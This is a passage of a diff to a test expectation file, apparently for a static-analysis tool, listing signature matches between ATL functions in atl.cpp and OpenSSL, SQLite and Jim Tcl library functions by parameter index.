(int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | PKCS12_init | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | Symbol_Nth | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_tolower | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | ossl_toupper | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | pulldown_test_framework | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | sqlite3_errstr | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | tls1_alert_code | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | tls13_alert_code | 0 | +| atl.cpp:731:8:731:17 | operator[] | (int) | | wait_until_sock_readable | 0 | | atl.cpp:765:10:765:12 | Add | (const deque &,const Allocator &) | deque | deque | 1 | | atl.cpp:765:10:765:12 | Add | (const forward_list &,const Allocator &) | forward_list | forward_list | 1 | | atl.cpp:765:10:765:12 | Add | (const list &,const Allocator &) | list | list | 1 | @@ -90,6 +1162,34 @@ signatureMatches | atl.cpp:765:10:765:12 | Add | (forward_list &&,const Allocator &) | forward_list | forward_list | 1 | | atl.cpp:765:10:765:12 | Add | (list &&,const Allocator &) | list | list | 1 | | atl.cpp:765:10:765:12 | Add | (vector &&,const Allocator &) | vector | vector | 1 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ASN1_tag2str | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | Jim_SignalId | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | PKCS12_init | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | Symbol_Nth | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_tolower | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | ossl_toupper | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | pulldown_test_framework | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | sqlite3_errstr | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | tls1_alert_code | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | tls13_alert_code | 0 | +| atl.cpp:770:11:770:20 | GetValueAt | (int) | | wait_until_sock_readable | 0 | | atl.cpp:776:10:776:14 | SetAt | (const deque &,const Allocator &) | deque | deque | 1 | | atl.cpp:776:10:776:14 | SetAt | (const forward_list &,const Allocator &) | forward_list | forward_list | 1 | | atl.cpp:776:10:776:14 | SetAt | (const list &,const Allocator &) | list | list | 1 | @@ -110,12 +1210,145 @@ signatureMatches | atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | list | list | 2 | | atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | vector | vector | 1 | | atl.cpp:777:10:777:19 | SetAtIndex | (size_type,const T &,const Allocator &) | vector | vector | 2 | +| atl.cpp:821:17:821:28 | Canonicalize | (unsigned long) | | BN_num_bits_word | 0 | +| atl.cpp:821:17:821:28 | Canonicalize | (unsigned long) | | BUF_MEM_new_ex | 0 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_oid_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_str_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BIGNUM *,unsigned long) | | BN_add_word | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BIGNUM *,unsigned long) | | BN_div_word | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BIGNUM *,unsigned long) | | BN_set_word | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BIGNUM *,unsigned long) | | BN_sub_word | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (CONF_IMODULE *,unsigned long) | | CONF_imodule_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (EVP_CIPHER *,unsigned long) | | EVP_CIPHER_meth_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (EVP_MD *,unsigned long) | | EVP_MD_meth_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (HMAC_CTX *,unsigned long) | | HMAC_CTX_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (OPENSSL_INIT_SETTINGS *,unsigned long) | | OPENSSL_INIT_set_config_file_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (OPENSSL_LHASH *,unsigned long) | | OPENSSL_LH_set_down_load | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (OSSL_HTTP_REQ_CTX *,unsigned long) | | OSSL_HTTP_REQ_CTX_set_max_response_length | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (OSSL_PARAM *,unsigned long) | | OSSL_PARAM_set_ulong | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL_CONNECTION *,unsigned long) | | tls1_check_ec_tmp_key | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_clear_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (SSL_CTX *,unsigned long) | | SSL_CTX_dane_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (X509_STORE *,unsigned long) | | X509_STORE_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (X509_STORE_CTX *,unsigned long) | | X509_STORE_CTX_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_clear_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (X509_VERIFY_PARAM *,unsigned long) | | X509_VERIFY_PARAM_set_flags | 1 | +| atl.cpp:824:10:824:17 | CrackUrl | (const BIGNUM *,unsigned long) | | BN_mod_word | 1 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| atl.cpp:825:17:825:25 | CreateUrl | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | | atl.cpp:842:17:842:28 | SetExtraInfo | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | Strsafe | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | Symbol_new | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | UI_create_method | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | opt_path_end | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | opt_progname | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:842:17:842:28 | SetExtraInfo | (const char *) | | strhash | 0 | | atl.cpp:843:17:843:27 | SetHostName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | Strsafe | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | Symbol_new | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | UI_create_method | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | opt_path_end | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | opt_progname | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:843:17:843:27 | SetHostName | (const char *) | | strhash | 0 | | atl.cpp:844:17:844:27 | SetPassword | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | Strsafe | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | Symbol_new | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | UI_create_method | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | opt_path_end | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | opt_progname | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:844:17:844:27 | SetPassword | (const char *) | | strhash | 0 | | atl.cpp:847:17:847:29 | SetSchemeName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | Strsafe | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | Symbol_new | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | UI_create_method | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | opt_path_end | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | opt_progname | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:847:17:847:29 | SetSchemeName | (const char *) | | strhash | 0 | | atl.cpp:848:17:848:26 | SetUrlPath | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | Strsafe | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | Symbol_new | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | UI_create_method | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | opt_path_end | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | opt_progname | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:848:17:848:26 | SetUrlPath | (const char *) | | strhash | 0 | | atl.cpp:849:17:849:27 | SetUserName | (LPCTSTR) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | Strsafe | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | Symbol_new | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | UI_create_method | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | new_pkcs12_builder | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | opt_path_end | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | opt_progname | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:849:17:849:27 | SetUserName | (const char *) | | strhash | 0 | | atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 0 | | atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 | | atl.cpp:915:5:915:18 | CSimpleStringT | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 2 | @@ -137,42 +1370,1315 @@ signatureMatches | atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CSimpleStringT | operator+= | 0 | | atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CStringT | CStringT | 0 | | atl.cpp:921:10:921:15 | Append | (const CSimpleStringT &) | CStringT | operator= | 0 | +| atl.cpp:922:10:922:15 | Append | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:922:10:922:15 | Append | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:922:10:922:15 | Append | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:922:10:922:15 | Append | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:922:10:922:15 | Append | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:922:10:922:15 | Append | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:922:10:922:15 | Append | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:922:10:922:15 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:922:10:922:15 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:922:10:922:15 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:922:10:922:15 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:922:10:922:15 | Append | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:922:10:922:15 | Append | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:922:10:922:15 | Append | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:922:10:922:15 | Append | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:922:10:922:15 | Append | (OSSL_CMP_MSG *,int) | | 